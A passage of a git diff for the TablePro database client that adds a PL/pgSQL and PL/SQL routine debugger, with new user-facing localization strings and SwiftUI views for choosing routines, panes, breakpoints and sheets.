TablePro. Debugging through DBMS_DEBUG." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "No default" : { "localizations" : { "fr" : { @@ -117924,6 +118156,9 @@ } } } + }, + "No Output" : { + }, "No parts found" : { "localizations" : { @@ -118047,6 +118282,10 @@ } } }, + "No port in the Debugger Ports range is free on this Mac." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "No primary key. Choose key columns to compare this table." : { "localizations" : { "fr" : { @@ -120404,6 +120643,9 @@ } } } + }, + "No Variables" : { + }, "No Vault address. Enter one in the credential profile, or set VAULT_ADDR in TablePro's environment." : { @@ -122052,6 +122294,10 @@ } } }, + "Not readable" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Not readable with your permissions" : { "extractionState" : "manual", "generatesSymbol" : false, @@ -122924,6 +123170,9 @@ } } } + }, + "Nothing to Debug" : { + }, "Nothing to Draw" : { "localizations" : { @@ -125774,6 +126023,10 @@ } } }, + "Only the owner of %@ or a superuser can debug it." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Only use the bootstrap address" : { "extractionState" : "manual", "generatesSymbol" : false, @@ -128834,6 +129087,10 @@ } } }, + "Or choose DBMS_DEBUG as the protocol, which needs no ACL entry." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Oracle" : { "extractionState" : "stale", "localizations" : { @@ -128879,6 +129136,10 @@ "extractionState" : "manual", "generatesSymbol" : false }, + "Oracle can't tell the overloads apart without it (PLS-00307), and TablePro can't read the default to pass it." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Oracle returned no definition for view '%@'." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -129029,6 +129290,10 @@ } } }, + "Other sessions using the package lose its state, and their next call to it fails once with ORA-04068." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Other work ran on this connection before you confirmed. Check the transaction and try again." : { }, @@ -131079,6 +131344,10 @@ } } }, + "Pass NULL or leave it at its default." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Passphrase" : { "localizations" : { "fr" : { @@ -132131,6 +132400,20 @@ } } }, + "Paused at line %d" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Paused at line %d in %@" : { + "localizations" : { + "en" : { + "stringUnit" : { + "state" : "new", + "value" : "Paused at line %1$d in %2$@" + } + } + } + }, "Paw Print" : { "extractionState" : "manual", "generatesSymbol" : false @@ -137002,6 +137285,8 @@ } }, "Procedure" : { + "extractionState" : "manual", + "generatesSymbol" : false, "localizations" : { "fr" : { "stringUnit" : { @@ -137970,6 +138255,10 @@ } } }, + "Protocol" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "protocol negotiation" : { "extractionState" : "manual", "generatesSymbol" : false, @@ -145280,6 +145569,9 @@ } } } + }, + "Remove All Breakpoints" : { + }, "Remove All Filters" : { "localizations" : { @@ -146351,6 +146643,14 @@ } } }, + "Remove SET client_min_messages from the routine to debug it." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Remove SET transaction_timeout from the routine to debug it." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Remove tag %@" : { "comment" : "A label for a button that removes a tag from a list of selected tags. The argument is the name of the tag to be removed.", "isCommentAutoGenerated" : true, @@ -151356,6 +151656,9 @@ } } } + }, + "Routine Debugger" : { + }, "Routine name" : { "localizations" : { @@ -151407,6 +151710,10 @@ } } }, + "Routines with polymorphic or record parameters can't be debugged." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Routines, sorted by qualified name" : { "localizations" : { "fr" : { @@ -154031,6 +154338,9 @@ } } } + }, + "Running…" : { + }, "Runs a command you write. It must open the local port itself." : { "localizations" : { @@ -161449,6 +161759,14 @@ } } }, + "Server process %d may still be running and holding its locks." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Server process %d may still be waiting for a debugger and holding its locks. To end it, run SELECT pldbg_attach_to_port(%d) and pass the number it returns to pldbg_abort_target." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Server response: %@" : { "extractionState" : "manual", "generatesSymbol" : false, @@ -162009,6 +162327,14 @@ } } }, + "Session SID %1$d, SERIAL# %2$d. %3$@ A user with ALTER SYSTEM can end it now with %4$@." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Session SID %d. %@" : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Session state" : { "localizations" : { "fr" : { @@ -162352,6 +162678,14 @@ } } }, + "Set Debugger Host to an address the database server can reach this Mac at, or choose DBMS_DEBUG as the protocol." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Set Debugger Host to an address the server can reach, or choose DBMS_DEBUG as the protocol." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Set DEFAULT" : { "localizations" : { "fr" : { @@ -173104,6 +173438,18 @@ } } } + }, + "Step Into" : { + + }, + "Step Out" : { + + }, + "Step Over" : { + + }, + "Step through PL/pgSQL and PL/SQL routines with breakpoints." : { + }, "Stop" : { "extractionState" : "manual", @@ -173356,6 +173702,9 @@ } } } + }, + "Stop Debugging" : { + }, "Stop Export?" : { "localizations" : { @@ -173686,6 +174035,10 @@ }, "Stopped." : { + }, + "Stopped. The routine's changes were rolled back." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "Stopping…" : { "extractionState" : "stale", @@ -178605,6 +178958,10 @@ } } }, + "TablePro compiles it again with debug information (PLSQL_OPTIMIZE_LEVEL=1) and keeps its other settings. Compiling commits." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "TablePro connects to the first broker over a tunnel. Partitions led by other brokers cannot be read." : { "localizations" : { "fr" : { @@ -178810,6 +179167,10 @@ }, "TablePro couldn't check which rows in other tables reference these rows." : { + }, + "TablePro couldn't confirm that the routine ended. It may still be running on the server." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "TablePro couldn't reach the plugin registry to update this plugin. Check your connection and reopen TablePro." : { "localizations" : { @@ -182872,6 +183233,10 @@ }, "The branch and its upstream branch each have commits the other lacks. Finish this pull in a Git client." : { + }, + "The breakpoint on line %1$d of %2$@ moved to line %3$d, the next line with code." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "The broker answered a coordinator lookup with no coordinator." : { "extractionState" : "manual", @@ -184006,6 +184371,10 @@ } } }, + "The connection from the database didn't complete the debugger handshake." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "The connection has no current DuckDB catalog to read metadata from" : { "extractionState" : "manual", "generatesSymbol" : false, @@ -184365,6 +184734,9 @@ } } } + }, + "The connection was closed or reconnected while the debugger was starting. Start it again." : { + }, "The connection was closed." : { "localizations" : { @@ -184784,6 +185156,18 @@ } } }, + "The database answered the debugger with data TablePro can't read." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The database couldn't reach TablePro at %@." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The database didn't connect to TablePro at %@ in time." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "the database file" : { "extractionState" : "manual", "generatesSymbol" : false, @@ -184858,6 +185242,10 @@ } } }, + "The database isn't allowed to connect to TablePro at %@ (ORA-24247). A DBA can allow it with DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE and the jdwp privilege." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "The database name is longer than the 128 bytes FreeTDS takes." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -184996,6 +185384,44 @@ "extractionState" : "manual", "generatesSymbol" : false }, + "The database's debugger refused the request." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The database's debugger sent data TablePro can't read, so the session ended." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The database's debugger stopped answering, so the session ended." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The debug session has ended." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The debug session's connection closed." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The debugger couldn't finish this step." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The debugger couldn't start." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The debugger didn't confirm the stop. The routine may still be running on the server." : { + + }, + "The debugger stopped for a reason TablePro doesn't know." : { + + }, + "The debugger's session was interrupted while it waited, so the routine was stopped and its uncommitted changes were rolled back. A cancel or the server's transaction_timeout can cause this." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "The declared length is kept for reference but is not enforced." : { "localizations" : { "fr" : { @@ -186117,6 +186543,9 @@ } } } + }, + "The installed %1$@ does not support %2$@. Update it in Settings > Extensions." : { + }, "The installed %1$@ does not support %2$@. Update it in Settings > Plugins." : { @@ -187637,6 +188066,14 @@ } } }, + "The PL/pgSQL debugger can't step out of a routine." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The PL/pgSQL debugger isn't installed in “%@”." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "The plan setting could not be turned off again, so the connection was closed. Reconnect to go on." : { "extractionState" : "manual", "generatesSymbol" : false @@ -188692,6 +189129,29 @@ "extractionState" : "manual", "generatesSymbol" : false }, + "The routine couldn't be stopped on the server." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The routine finished before the stop reached it." : { + + }, + "The routine is still running on the server. DBMS_DEBUG can't interrupt it between breakpoints." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The routine isn't paused." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The routine raised an error. Its changes were rolled back." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "The routine was stopped, and its uncommitted changes were rolled back." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "The row filter on %@ was not a single expression, so every row was exported." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -189464,6 +189924,10 @@ }, "The server computes this column, so it is left out." : { + }, + "The server couldn't start the debugger." : { + "extractionState" : "manual", + "generatesSymbol" : false }, "The server did not accept the client certificate. %@" : { "extractionState" : "manual", @@ -193233,6 +193697,10 @@ } } }, + "This call matches more than one overload of %@, so Oracle can't run it (PLS-00307)." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "This change needs %@ to be recreated, and it cannot be recreated from the definition the database stored for it. Virtual tables, such as full-text search tables, are the usual reason." : { "localizations" : { "fr" : { @@ -193427,6 +193895,13 @@ } } }, + "This connection can't open the separate sessions the debugger needs." : { + + }, + "This connection can't run the PL/pgSQL debugger." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "This connection does not support user and role management." : { "localizations" : { "fr" : { @@ -193999,6 +194474,9 @@ } } } + }, + "This connection's driver can't debug routines." : { + }, "This connection's driver does not list its tables." : { "localizations" : { @@ -194410,6 +194888,10 @@ } } }, + "This database doesn't provide DBMS_DEBUG_JDWP." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "This database has an open transaction. Closing it rolls the transaction back and discards its uncommitted changes." : { "localizations" : { "fr" : { @@ -197593,6 +198075,17 @@ } } } + }, + "This routine sets client_min_messages to %@, which hides the notice the debugger starts with." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "This routine sets transaction_timeout to %@, which would end it while it waits at a breakpoint." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "This routine takes no arguments." : { + }, "This row does not name a stored document." : { "extractionState" : "manual", @@ -197926,6 +198419,10 @@ } } }, + "This server has no PL/pgSQL debugger." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "This server has no users or roles you can manage." : { "localizations" : { "fr" : { @@ -200135,6 +200632,9 @@ } } } + }, + "Toggle Breakpoint" : { + }, "Toggle Comment" : { "localizations" : { @@ -201790,6 +202290,8 @@ "generatesSymbol" : false }, "Trigger" : { + "extractionState" : "manual", + "generatesSymbol" : false, "localizations" : { "fr" : { "stringUnit" : { @@ -202655,6 +203157,9 @@ }, "Try again and answer the prompt in TablePro." : { + }, + "Try again, or install the plugin from Settings > Extensions." : { + }, "Try again, or install the plugin from Settings > Plugins." : { "localizations" : { @@ -205914,6 +206419,9 @@ } } } + }, + "Update or reinstall the plugin in Settings > Extensions." : { + }, "Update or reinstall the plugin in Settings > Plugins." : { "localizations" : { @@ -206093,6 +206601,12 @@ } } } + }, + "Update the database driver in Settings > Extensions to run a batch more than once with GO." : { + + }, + "Update the database driver in Settings > Extensions to run several statements in one call." : { + }, "Update the database driver in Settings > Plugins to run a batch more than once with GO." : { "localizations" : { @@ -209146,6 +209660,9 @@ } } } + }, + "Variables" : { + }, "Variant id" : { "localizations" : { diff --git a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift index cc43f560dd..a201566f7c 100644 --- a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift +++ b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift @@ -210,6 +210,9 @@ struct MainEditorContentView: View { versionHistoryContent(tab: tab) case .tableListing: tableListingContent(tab: tab) + case .routineDebug: + RoutineDebugTabContent(tabId: tab.id, databaseType: connection.type) + .id(tab.id) } } diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift index 49fd8a17f4..876e19e03a 100644 --- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift +++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift @@ -13,12 +13,16 @@ extension MainContentCoordinator { guard let tab = tabManager.tabs.first(where: { $0.id == id }) else { continue } // A close removes the tab before the selection moves, so this is the only save of filter rows never applied. saveLastFilters(of: tab) - RecentlyClosedTabStore.shared.push(tab: tab, connection: connection) + if tab.tabType.isTransient { + RoutineDebugSessions.shared.endSession(forTab: id, window: contentWindow) + } else { + RecentlyClosedTabStore.shared.push(tab: tab, connection: connection) + } releaseResources(of: tab) releaseExecution(of: tab) tabManager.closeTab(id: id) } - guard tabManager.tabs.isEmpty else { return } + guard tabManager.tabs.allSatisfy({ $0.tabType.isTransient }) else { return } persistence.clearForUserClosedAllTabs() } diff --git a/apple/TablePro/Views/Main/MainContentCoordinator.swift b/apple/TablePro/Views/Main/MainContentCoordinator.swift index 8659645d71..69ff360f71 100644 --- a/apple/TablePro/Views/Main/MainContentCoordinator.swift +++ b/apple/TablePro/Views/Main/MainContentCoordinator.swift @@ -418,12 +418,15 @@ final class MainContentCoordinator: ObservableObject { } // Union across windows: saving one window's tabs erased torn-off ones. Deduped, since SwiftUI's throwaway coordinators repeat tabs. + // The connection's saved tab set. A debug tab is never saved, so a window holding only debug tabs counts as empty. static func aggregatedTabs(for connectionId: UUID) -> [QueryTab] { var seen = Set() return activeCoordinators.values .filter { $0.connectionId == connectionId } .flatMap { coordinator in - coordinator.tabManager.tabs.map(coordinator.enrichedForPersistence) + coordinator.tabManager.tabs + .filter { !$0.tabType.isTransient } + .map(coordinator.enrichedForPersistence) } .filter { seen.insert($0.id).inserted } } @@ -873,6 +876,10 @@ final class MainContentCoordinator: ObservableObject { columnScopeRequeryTask?.cancel() releaseImportFile() + let debugTabIds = tabManager.tabs.filter { $0.tabType.isTransient }.map(\.id) + if !debugTabIds.isEmpty { + RoutineDebugSessions.shared.endSessions(forTabs: debugTabIds, window: contentWindow) + } tabManager.tabs.removeAll() tabManager.selectedTabId = nil diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugChooserSheet.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugChooserSheet.swift new file mode 100644 index 0000000000..b6d6b89ca2 --- /dev/null +++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugChooserSheet.swift @@ -0,0 +1,147 @@ +// +// RoutineDebugChooserSheet.swift +// TablePro +// + +import SwiftUI +import TableProPluginKit + +// Debug > Debug Routine…: every unit the driver can debug in the browsed schema, packages included where the engine has them. +internal struct RoutineDebugChooserSheet: View { + private enum LoadState { + case loading + case failed(String) + case loaded([Row]) + } + + private struct Row: Identifiable { + let target: PluginDebugTarget + var id: String { target.identity } + } + + let load: @MainActor () async throws -> [PluginDebugTarget] + let onFinish: @MainActor (PluginDebugTarget?) -> Void + + @State private var loadState: LoadState = .loading + @State private var searchText = "" + @State private var selection: Row.ID? + + static func present( + on window: NSWindow, + setup: RoutineDebugSetup, + load: @escaping @MainActor () async throws -> [PluginDebugTarget] + ) async -> PluginDebugTarget? { + await RoutineDebugSheet.present(on: window, setup: setup) { finish in + RoutineDebugChooserSheet(load: load, onFinish: finish) + } + } + + var body: some View { + VStack(spacing: 0) { + header + Divider() + content + .frame(maxWidth: .infinity, maxHeight: .infinity) + Divider() + footer + } + .frame(width: 520, height: 420) + .task { await reload() } + } + + private var header: some View { + HStack(spacing: 16) { + Text(String(localized: "Debug Routine")) + .font(.headline) + Spacer() + NativeSearchField( + text: $searchText, + placeholder: String(localized: "Search"), + accessibilityIdentifier: "routine-debug-chooser-search" + ) + .frame(width: 180) + } + .padding(20) + } + + @ViewBuilder + private var content: some View { + switch loadState { + case .loading: + ProgressView() + case .failed(let message): + UnavailableStateView { + Label(String(localized: "Can't List Routines"), systemImage: "exclamationmark.triangle") + } description: { + Text(message) + } actions: { + Button(String(localized: "Try Again")) { + Task { await reload() } + } + } + case .loaded(let rows) where rows.isEmpty: + UnavailableStateView(String(localized: "Nothing to Debug"), systemImage: "ladybug") + case .loaded: + if filteredRows.isEmpty { + UnavailableStateView.search(text: searchText) + } else { + Table(filteredRows, selection: $selection) { + TableColumn(String(localized: "Name")) { row in + Text(row.target.name) + } + TableColumn(String(localized: "Kind")) { row in + Text(row.target.kindDisplayName) + } + .width(min: 80, ideal: 120, max: 200) + } + .contextMenu(forSelectionType: Row.ID.self) { _ in + EmptyView() + } primaryAction: { identities in + if let identity = identities.first { choose(identity) } + } + } + } + } + + private var footer: some View { + HStack { + Spacer() + Button(String(localized: "Cancel")) { + onFinish(nil) + } + .keyboardShortcut(.cancelAction) + Button(String(localized: "Debug…")) { + if let selection { choose(selection) } + } + .keyboardShortcut(.defaultAction) + .disabled(selection == nil) + } + .padding(20) + } + + private var filteredRows: [Row] { + guard case .loaded(let rows) = loadState else { return [] } + let query = searchText.trimmingCharacters(in: .whitespaces) + guard !query.isEmpty else { return rows } + return rows.filter { $0.target.name.localizedCaseInsensitiveContains(query) } + } + + private func choose(_ identity: Row.ID) { + guard let row = filteredRows.first(where: { $0.id == identity }) else { return } + onFinish(row.target) + } + + private func reload() async { + loadState = .loading + do { + let targets = try await load() + loadState = .loaded( + targets + .sorted { $0.name.localizedStandardCompare($1.name) == .orderedAscending } + .map(Row.init(target:)) + ) + } catch { + loadState = .failed(RoutineDebugController.message(for: error)) + } + } +} diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugPanes.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugPanes.swift new file mode 100644 index 0000000000..55352966b0 --- /dev/null +++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugPanes.swift @@ -0,0 +1,153 @@ +// +// RoutineDebugPanes.swift +// TablePro +// + +import SwiftUI +import TableProPluginKit + +internal struct RoutineDebugVariablesView: View { + @ObservedObject var controller: RoutineDebugController + @ObservedObject private var themeEngine = ThemeEngine.shared + + private struct Row: Identifiable { + let id: Int + let variable: PluginDebugVariable + } + + var body: some View { + RoutineDebugPane(title: String(localized: "Variables")) { + if rows.isEmpty { + UnavailableStateView(String(localized: "No Variables"), systemImage: "list.bullet.rectangle") + } else { + Table(rows) { + TableColumn(String(localized: "Name")) { row in + Text(row.variable.name) + } + .width(min: 60, ideal: 120) + TableColumn(String(localized: "Value")) { row in + value(of: row.variable) + .font(themeEngine.valueFontSwiftUI) + .textSelection(.enabled) + } + .width(min: 80, ideal: 200) + TableColumn(String(localized: "Type")) { row in + Text(row.variable.typeName ?? "") + .foregroundStyle(.secondary) + } + .width(min: 50, ideal: 100) + } + } + } + } + + private var rows: [Row] { + controller.variables.enumerated().map { Row(id: $0.offset, variable: $0.element) } + } + + // NULL reads the way the grid writes it, so a value means the same thing in both places. + @ViewBuilder + private func value(of variable: PluginDebugVariable) -> some View { + if let value = variable.value { + Text(value) + } else { + Text(AppSettingsManager.shared.dataGrid.nullDisplay) + .foregroundStyle(.secondary) + } + } +} + +internal struct RoutineDebugCallStackView: View { + @ObservedObject var controller: RoutineDebugController + + private struct Row: Identifiable { + let frame: PluginDebugFrame + var id: Int { frame.level } + } + + var body: some View { + RoutineDebugPane(title: String(localized: "Call Stack")) { + if controller.frames.isEmpty { + UnavailableStateView(String(localized: "No Call Stack"), systemImage: "square.stack.3d.up") + } else { + // The previous pause's stack stays in view, dimmed, until the new one arrives. + List(controller.frames.map(Row.init(frame:)), selection: selection) { row in + VStack(alignment: .leading, spacing: 2) { + Text(row.frame.location?.unit.displayName ?? String(localized: "Unknown")) + if let line = row.frame.location?.line { + Text(String(format: String(localized: "Line %d"), line)) + .font(.caption) + .foregroundStyle(.secondary) + } + } + } + .listStyle(.inset) + .disabled(!controller.stackIsCurrent) + } + } + } + + private var selection: Binding { + Binding( + get: { controller.selectedFrameLevel }, + set: { level in + guard let level else { return } + controller.selectFrame(level: level) + } + ) + } +} + +internal struct RoutineDebugOutputView: View { + @ObservedObject var controller: RoutineDebugController + + var body: some View { + RoutineDebugPane(title: String(localized: "Output")) { + if let grid = controller.resultGrid { + VStack(spacing: 0) { + outputLines + .frame(maxHeight: controller.outputLines.isEmpty ? 0 : 120) + if !controller.outputLines.isEmpty { + Divider() + } + DataGridView(model: grid.model) + } + } else if controller.outputLines.isEmpty { + UnavailableStateView(String(localized: "No Output"), systemImage: "text.alignleft") + } else { + outputLines + } + } + } + + private var outputLines: some View { + ScrollView { + Text(controller.outputLines.joined(separator: "\n")) + .font(.system(.body, design: .monospaced)) + .textSelection(.enabled) + .frame(maxWidth: .infinity, alignment: .leading) + .padding(8) + } + } +} + +// A titled region of the debug tab: a small header over its content, the way Xcode's debug area labels its panes. +internal struct RoutineDebugPane: View { + let title: String + @ViewBuilder let content: () -> Content + + var body: some View { + VStack(spacing: 0) { + Text(title) + .font(.subheadline.weight(.semibold)) + .foregroundStyle(.secondary) + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.horizontal, 10) + .padding(.vertical, 5) + .paneBarBackground() + Divider() + content() + .frame(maxWidth: .infinity, maxHeight: .infinity) + } + } +} diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugPreparationPrompt.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugPreparationPrompt.swift new file mode 100644 index 0000000000..ab4544ff26 --- /dev/null +++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugPreparationPrompt.swift @@ -0,0 +1,38 @@ +// +// RoutineDebugPreparationPrompt.swift +// TablePro +// + +import AppKit +import TableProPluginKit + +// The plugin's preparation question (Oracle's compile for debug), answerable by the person or withdrawn by the run. +@MainActor +internal enum RoutineDebugPreparationPrompt { + static func confirm( + _ preparation: PluginDebugPreparation, + window: NSWindow?, + setup: RoutineDebugSetup + ) async -> Bool { + guard !setup.isCancelled else { return false } + let alert = NSAlert() + alert.messageText = preparation.message + alert.informativeText = preparation.informativeText ?? "" + alert.alertStyle = .informational + alert.addButton(withTitle: preparation.actionTitle) + AlertHelper.addCancelButton(to: alert, title: String(localized: "Cancel")) + setup.dismissPresentation = { withdraw(alert) } + let response = await AlertHelper.response(to: alert, in: window) + setup.dismissPresentation = nil + return response == .alertFirstButtonReturn && !setup.isCancelled + } + + // Answered as Cancel, so the presenter's completion runs and nothing waits on an alert nobody can see. + private static func withdraw(_ alert: NSAlert) { + if let parent = alert.window.sheetParent { + parent.endSheet(alert.window, returnCode: .alertSecondButtonReturn) + } else if NSApp.modalWindow === alert.window { + NSApp.stopModal(withCode: .alertSecondButtonReturn) + } + } +} diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugSheet.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugSheet.swift new file mode 100644 index 0000000000..070d9368b7 --- /dev/null +++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugSheet.swift @@ -0,0 +1,70 @@ +// +// RoutineDebugSheet.swift +// TablePro +// + +import AppKit +import SwiftUI + +// A SwiftUI view as a window sheet whose answer is awaited. The coordinator asks from a task, so there is no binding to present from. +@MainActor +internal enum RoutineDebugSheet { + // A cancelled `setup` answers the sheet as dismissed, the way Cancel would. + static func present( + on parent: NSWindow, + setup: RoutineDebugSetup, + @ViewBuilder content: (@escaping @MainActor (Value?) -> Void) -> Content + ) async -> Value? { + guard !setup.isCancelled, parent.attachedSheet == nil else { return nil } + let presentation = Presentation(parent: parent) + let hosting = NSHostingController(rootView: content { presentation.finish($0) }) + let sheet = NSWindow(contentViewController: hosting) + sheet.isReleasedWhenClosed = false + presentation.sheet = sheet + setup.dismissPresentation = { presentation.finish(nil) } + // A window closed under its sheet, as closing the connection from another window does, never answers it. + let parentClosing = NotificationCenter.default.addObserver( + forName: NSWindow.willCloseNotification, + object: parent, + queue: .main + ) { _ in + MainActor.assumeIsolated { + presentation.finish(nil) + } + } + let value = await withCheckedContinuation { continuation in + presentation.continuation = continuation + parent.beginSheet(sheet) + } + NotificationCenter.default.removeObserver(parentClosing) + setup.dismissPresentation = nil + return value + } + + @MainActor + private final class Presentation { + weak var parent: NSWindow? + var sheet: NSWindow? + var continuation: CheckedContinuation? + + init(parent: NSWindow) { + self.parent = parent + } + + func finish(_ value: Value?) { + guard let continuation, let sheet else { return } + self.continuation = nil + self.sheet = nil + if let parent { + parent.endSheet(sheet) + } else { + sheet.orderOut(nil) + } + // Released on the next turn: the hosting view is still inside the button action that answered. + Task { @MainActor in + sheet.contentViewController = nil + } + continuation.resume(returning: value) + } + } +} diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugSourceView.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugSourceView.swift new file mode 100644 index 0000000000..8c9b27c66f --- /dev/null +++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugSourceView.swift @@ -0,0 +1,135 @@ +// +// RoutineDebugSourceView.swift +// TablePro +// + +import AppKit +import SwiftUI +import TableProEditorKit +import TableProGrammars + +// The editor owns the ribbon's drawing and the host owns its contents, so the two meet only through this object. +@MainActor +internal final class RoutineDebugSourceBridge: TextViewCoordinator { + private weak var controller: TextViewController? + var onToggleBreakpoint: ((Int) -> Void)? + var onCursorLine: ((Int?) -> Void)? + private var breakpointLines: Set = [] + private var executionLine: Int? + + func prepareCoordinator(controller: TextViewController) { + self.controller = controller + controller.onBreakpointToggle = { [weak self] line in + self?.onToggleBreakpoint?(line) + } + apply() + } + + func textViewDidChangeSelection(controller: TextViewController, newPositions: [CursorPosition]) { + let line = newPositions.first?.start.line + onCursorLine?(line.flatMap { $0 > 0 ? $0 : nil }) + } + + func show(breakpoints: Set, executionLine: Int?) { + breakpointLines = breakpoints + self.executionLine = executionLine + apply() + } + + func destroy() { + controller?.onBreakpointToggle = nil + controller = nil + } + + private func apply() { + guard let controller else { return } + if controller.breakpointLines != breakpointLines { + controller.breakpointLines = breakpointLines + } + if controller.executionLine != executionLine { + controller.executionLine = executionLine + } + } +} + +// Read-only on purpose: breakpoint and stop lines index the text the session returned, so an edit would misplace them. +internal struct RoutineDebugSourceView: View { + @ObservedObject var controller: RoutineDebugController + let databaseType: DatabaseType + + @State private var text = "" + @State private var editorState = SourceEditorState() + @State private var bridge = RoutineDebugSourceBridge() + @State private var configuration = Self.makeConfiguration() + + var body: some View { + Group { + if controller.displayedUnit == nil { + placeholder + } else { + SourceEditor( + $text, + language: PluginManager.shared.editorLanguage(for: databaseType).treeSitterLanguage, + configuration: configuration, + state: $editorState, + coordinators: [bridge] + ) + } + } + .onAppear(perform: syncAll) + .onChange(of: controller.displayedSource) { source in + text = source + syncMarkers() + } + .onChange(of: controller.displayedBreakpointLines) { _ in syncMarkers() } + .onChange(of: controller.executionLine) { _ in syncMarkers() } + .onReceive(AppEvents.shared.themeChanged) { _ in + configuration = Self.makeConfiguration() + } + } + + @ViewBuilder + private var placeholder: some View { + if controller.state.isTerminal { + Color.clear + } else { + ProgressView() + .frame(maxWidth: .infinity, maxHeight: .infinity) + } + } + + private func syncAll() { + let controller = controller + bridge.onToggleBreakpoint = { [weak controller] line in + controller?.toggleBreakpoint(atLine: line) + } + bridge.onCursorLine = { [weak controller] line in + controller?.cursorLine = line + } + text = controller.displayedSource + syncMarkers() + } + + private func syncMarkers() { + bridge.show(breakpoints: controller.displayedBreakpointLines, executionLine: controller.executionLine) + } + + private static func makeConfiguration() -> SourceEditorConfiguration { + SourceEditorConfiguration( + appearance: .init( + theme: ThemeEngine.shared.makeEditorTheme(), + font: ThemeEngine.shared.editorFonts.font, + wrapLines: false + ), + behavior: .init(isEditable: false), + layout: .init(contentInsets: NSEdgeInsets(top: 4, left: 4, bottom: 4, right: 4)), + peripherals: .init( + showGutter: true, + showLineNumbers: true, + showFoldingRibbon: false, + showSpecialCharacters: false, + showBreakpoints: true + ) + ) + } +} diff --git a/apple/TablePro/Views/RoutineDebug/RoutineDebugStartSheet.swift b/apple/TablePro/Views/RoutineDebug/RoutineDebugStartSheet.swift new file mode 100644 index 0000000000..0e6e6e27c0 --- /dev/null +++ b/apple/TablePro/Views/RoutineDebug/RoutineDebugStartSheet.swift @@ -0,0 +1,266 @@ +// +// RoutineDebugStartSheet.swift +// TablePro +// + +import Combine +import SwiftUI +import TableProPluginKit + +@MainActor +internal final class RoutineDebugStartModel: ObservableObject { + struct Argument: Identifiable, Equatable { + let id: Int + let parameter: PluginDebugParameter + var text = "" + var isNull = false + var usesDefault = false + + var takesValue: Bool { + parameter.mode != .output + } + + var value: PluginDebugArgumentValue { + if usesDefault { return .defaultValue } + if isNull { return .null } + return .text(text) + } + } + + let plan: PluginDebugPlan + @Published private(set) var entryPointIndex = 0 + @Published private(set) var arguments: [Argument] = [] + @Published private(set) var optionValues: [String: String] = [:] + + init(plan: 